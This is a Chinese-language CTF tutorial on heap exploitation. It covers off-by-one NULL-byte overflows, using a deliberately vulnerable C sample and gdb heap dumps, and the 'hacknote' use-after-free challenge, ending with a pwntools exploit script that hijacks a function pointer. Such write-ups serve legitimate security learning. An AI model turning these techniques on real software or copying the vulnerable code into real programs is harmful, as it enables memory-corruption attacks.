『CTF』堆入门(三)

admin 2024年4月24日02:00:27评论6 views字数 4343阅读14分28秒阅读模式
日期: 2024-04-23
作者: Mr-hello
介绍: 艰难的堆学习之路。

0x00 前言

前面两篇文章,记录学习了堆块溢出知识中最基础的知识内容,包括堆块基本数据结构,堆机制下的申请/释放,以及堆管理器的 bins等,通过这些内容,我们大体了解到程序堆运行的基本逻辑,接下来就是学习相应堆溢出的溢出方式以及利用方法。

『CTF』堆入门(三)

0x01 Off-By-One

根据其名字,我们可以大体知道,该溢出漏洞是指在程序向堆块中写入时,由于其字节数,超过用户数据区所申请空间一个字节,导致的溢出漏洞,也就是说通过该漏洞,我们可以实现溢出一个字节。该漏洞经常出现在以下几种代码情况下:

  • 循环向堆块中写入数据,循环次数设置错误

  • 字符串拷贝/拼接等操作,导致溢出

利用思路

  1. 溢出字节是可控字节,这种时候我们可以通过修改大小造成堆块出现重叠,从而泄露其他堆块数据或者覆盖掉其他块数据。

  2. 可溢出字节为 NULL 字节,在 size0x100 字节时,溢出 NULL 字节可以使 prev_in_use 位被清,这样就会导致前一堆块被认为是空闲堆块。

  • 利用 unlink 方法

  • 前堆块被认定为空闲时, 当前堆块的 prev_size 字段就会被启用,这样就可以通过伪造 prev_size 造成堆块之间重叠

注意: 在利用第二种方法中的伪造 prev_size 字段时,需要满足 unlink 机制没有检查通过 prev_size 找到的堆块 sizeprev_size 是否一致,换句话说,需要 glibc 版本在 2.29 之前。

溢出 NULL 字节

关于溢出字节为 NULL 时,常见于字符串操作场景,其中 strlenstrcpy 的操作行为不同,可导致溢出 NULL 字节的情况出现,strlen 函数在计算字符串长度时,不会把 'x00' 计算在内,但是 strcpy 在复制字符串时会拷贝结束符。

int main(){    char buffer[33]="";    void *chunk;    chunk=malloc(28);    gets(buffer);    if(strlen(buffer)==28)//计算字符串长度时,不带最后结束符。    {        strcpy(chunk,buffer);//拷贝字符串时带着结束符。    }    return 0;}

gdb 调试一下,可以发现如下情况。

//strcpy前的堆块分布pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x56558008Size: 0x151Allocated chunk | PREV_INUSEAddr: 0x56558158Size: 0x21Allocated chunk | PREV_INUSEAddr: 0x56558178Size: 0x411pwndbg> x/100x 0x565581580x56558158:    0x00000000  0x00000021  0x00000000  0x000000000x56558168:    0x00000000  0x00000000  0x00000000  0x000000000x56558178:    0x00000000  0x00000411  0x20746547  0x75706e490x56558188:    0x00000a74  0x00000000  0x00000000  0x000000000x56558198:    0x00000000  0x00000000  0x00000000  0x00000000//strcpy后的堆块分布pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x56558008Size: 0x151Allocated chunk | PREV_INUSEAddr: 0x56558158Size: 0x21Allocated chunkAddr: 0x56558178Size: 0x400pwndbg> x/100x 0x565581580x56558158:    0x00000000  0x00000021  0x61616161  0x616161610x56558168:    0x61616161  0x61616161  0x61616161  0x616161610x56558178:    0x61616161  0x00000400  0x20746547  0x75706e490x56558188:    0x00000a74  0x00000000  0x00000000  0x000000000x56558198:    0x00000000  0x00000000  0x00000000  0x00000000

可以看到,在 strcpy 之后,相邻的下一个堆块的 size 被覆写了一个 x00 ,也就是字符串的结束符成功溢出,完成了覆写。

0x02 Use After Free

释放后再利用,这个漏洞点还是相对比较简单的,在一个程序中,堆块释放时可能会出现指针未进行赋 NULL 的情况,在该种情况下,再去利用该 chunk 时,可能会出现系统崩溃,也可能正常执行下去,或者出现其他一些情况,在堆溢出知识域,我们会利用后面两种情况。

题目实验

由于该处知识点,理解起来没那么费劲,我们根据最简单的 Use After Free 题目进行实例讲解学习。该题目就是实现了一个简单的 note 功能,存在创建/删除/输出功能。其中在 add_note 函数中,存在如下关键代码。

『CTF』堆入门(三)

add_note 函数下,我们可以看到该结构体存在两部分内容,第一部分 put 该部分会在创建时,指向一个函数,第二部分 content 指针,指向了一个新申请堆块用于存储用户输入数据,每次申请后,会将 count 加一,然后我们分析一下 free 部分。

『CTF』堆入门(三)

free 部分,我们可以看到,每次删除操作时,会涉及到两个堆块的释放,有一个 notelist 的堆块释放,还有一个 content 的堆块释放操作。但是这里存在一个未置空的问题,可以从代码看出,该处的 notelist 是以数组形式存储的,每个下标处存放的数据都是指向一个堆块的起始地址,通过 free 操作可以将该地址下存在的堆块结构体置空,但堆块释放操作并不会影响数组数据的更改,所以该处的两个 free 操作仅仅是删除掉了堆块结构体,但该处下标存储的堆块起始地址没有发生更改,也就是说,通过上面两个删除操作后,该处数组仍然指向了一个地址,只不过这个地址目前是一个空闲堆块。

那么我们可以根据这个逻辑,运用 Use After Free 思路,也就是说,我们先把下标为 0 的堆块申请下来,然后再释放掉,此时下标为 0 的指针指向了一个空闲堆块,如果我们可以利用堆管理机制,在下次申请堆块时,再次让系统把这个空闲堆块分配给某个 notecontent 堆块,这样我们就可以实现向新 note 中写入想要的数据,然后利用程序设计的输出操作,输出 note0 内容,此时由于 notelist 下标为 0 处未进行置空,所以程序就会按照输出操作,去调用 put 指针指向的函数,但是由于原本空闲的堆块已经被我们利用堆管理机制重新输入了内容,所以在 note0 调用 put 指针时,成功的指向了我们输入的内容。

但是这里有个问题,由于该题目设计为申请创建一个note 时,会先申请一个 8 字节的 notelist 作为 note 结构体存储,也就是说,如果我们只申请创建一个 note ,那么下次再分配时,还是会把 8 字节的堆块分配给 notelist 并不会分配给我们新申请的 note-> content ,所以这里我们可以连续申请两个 note 然后他们的 content 堆块设置为大于 8 字节的空间,这样根据 bins 存储规则,我们就可以实现分下标存储。然后我们再次申请一个 8 字节的 note 就可以实现将新申请的 note-> content 就变为指向之前的空闲堆块了。

连续申请两个16 字节 note  之后,堆块数据存储如下。

『CTF』堆入门(三)

『CTF』堆入门(三)

此时再分别删除两个 note 之后,堆空间数据如下。

『CTF』堆入门(三)

此时可以看到,我们申请两个 16 字节的 note 之后再删除,这样会有四个空闲堆块进入 tcachebins ,但是他们已经分开存储,根据 tcachebins 空闲堆块再分配机制,我们如果再申请一个 8 字节的 note ,此时系统会将存在 tcachebins 中的空闲堆块再次分配给我们申请的 note2。由于新申请的 note2 空间为 8 字节,分配两个 0x10 的堆块即可完成存储。所以此时系统会将 tcachebins 中的两个 0x10 空闲堆块分配给 note2,再由于 tcachebins 管理空闲堆块时采用 LIFO 策略,所以 0x804b190 地址上的空闲堆块,被 note2notelist 分配走了,剩余的 0x804b160 地址上的空闲堆块,被 note2content 分配走了。

由于 notelist 数组在删除操作时未置空,此时 notelist[0] 仍然在指向 0x804b160 。但是该地址上已经被新的 note 重新赋值,此时如果我们在 note2->content 写入一个危险地址,再执行 note0 的输出操作,此时就实现了跳转到了一个危险地址处,从而控制了程序运行。

『CTF』堆入门(三)

上图可以看出,在 note2->content 中输入 aabbccdd,此时再去执行输出 note0 ,可发现如下。

『CTF』堆入门(三)

成功调用 0x62626161 地址处的函数。同时可发现程序中存在一个 magic 函数,我们将 note2->content 内容设置为 magic 函数地址,即可 cat flag,最终利用代码如下。

r = process('./hacknote')def addnote(size, content):    r.recvuntil(":")    r.sendline("1")    r.recvuntil(":")    r.sendline(str(size))    r.recvuntil(":")    r.sendline(content)def delnote(idx):    r.recvuntil(":")    r.sendline("2")    r.recvuntil(":")    r.sendline(str(idx))def printnote(idx):    r.recvuntil(":")    r.sendline("3")    r.recvuntil(":")    r.sendline(str(idx))magic = 0x08048986addnote(16, "1234")addnote(16, "1234")delnote(0)delnote(1)addnote(8, p32(magic))printnote(0)r.interactive()

0x03 结束语

本来写着 Off-By-One 但是后面在实战操作的时候,发现自己对泄露 libc 基址问题还是搞不太明白,后面可能会再返过去,学习一下栈溢出~在学习中查漏补缺。

『CTF』堆入门(三)

往期回顾

『CTF』丨堆入门

『CTF』丨堆入门(二)

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『CTF』堆入门(三)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日02:00:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『CTF』堆入门(三)https://cn-sec.com/archives/2683201.html

发表评论

匿名网友 填写信息